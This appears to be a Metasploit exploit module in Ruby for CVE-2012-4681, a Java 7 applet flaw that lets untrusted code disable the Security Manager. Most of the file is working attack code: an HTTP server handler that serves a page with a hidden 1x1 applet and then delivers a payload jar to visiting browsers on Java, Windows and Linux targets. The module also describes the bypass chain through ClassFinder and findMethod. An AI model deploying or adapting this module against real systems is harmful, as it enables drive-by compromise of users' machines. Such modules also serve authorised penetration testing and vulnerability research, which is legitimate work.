Spencer McIntyre
135 lines
4.7 KiB
Ruby
135 lines
4.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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# include Msf::Exploit::Remote::BrowserAutopwn
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# autopwn_info({ :javascript => false })
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Java 7 Applet Remote Code Execution',
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'Description' => %q{
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The exploit takes advantage of two issues in JDK 7: The ClassFinder and
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MethodFinder.findMethod(). Both were newly introduced in JDK 7. ClassFinder is a
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replacement for classForName back in JDK 6. It allows untrusted code to obtain a
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reference and have access to a restricted package in JDK 7, which can be used to
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abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can
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actually invoke getField() by abusing findMethod() in Statement.invokeInternal()
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(but getField() must be public, and that's not always the case in JDK 6) in order
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to access Statement.acc's private field, modify AccessControlContext, and then
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disable Security Manager. Once Security Manager is disabled, we can execute
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arbitrary Java code.
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Our exploit has been tested successfully against multiple platforms, including:
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IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory
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'James Forshaw', # Vulnerability discovery according to Oracle's advisory
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'jduck', # metasploit module
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'sinn3r', # metasploit module
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'juan vazquez' # metasploit module
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],
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'References' => [
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[ 'CVE', '2012-4681' ],
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[ 'OSVDB', '84867' ],
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[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
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[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],
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[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],
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[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ],
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[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html' ],
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[ 'URL', 'https://www.rapid7.com/blog/post/2012/08/27/lets-start-the-week-with-a-new-java-0day' ],
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[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=852051']
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],
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' => [
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[
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'Generic (Java Payload)',
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{
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'Arch' => ARCH_JAVA,
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'Platform' => 'java'
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}
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],
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[
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'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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],
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[
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'Linux x86',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2012-08-26',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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end
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def on_request_uri(cli, request)
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if !request.uri.match(/\.jar$/i)
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if !request.uri.match(%r{/$})
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send_redirect(cli, get_resource + '/', '')
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return
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end
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print_status("#{name} handling request")
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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return
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end
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paths = [
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[ 'Exploit.class' ]
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]
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p = regenerate_payload(cli)
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jar = p.encoded_jar
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paths.each do |path|
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1.upto(path.length - 1) do |idx|
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full = path[0, idx].join('/') + '/'
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if !(jar.entries.map { |e| e.name }.include?(full))
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jar.add_file(full, '')
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end
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end
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fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-4681', path), 'rb')
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data = fd.read(fd.stat.size)
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jar.add_file(path.join('/'), data)
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fd.close
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end
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print_status('Sending Applet.jar')
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send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })
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handler(cli)
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end
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def generate_html
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html = '<html><head></head>'
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html += '<body>'
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html += '<applet archive="Exploit.jar" code="Exploit.class" width="1" height="1">'
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html += '</applet></body></html>'
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return html
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end
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end
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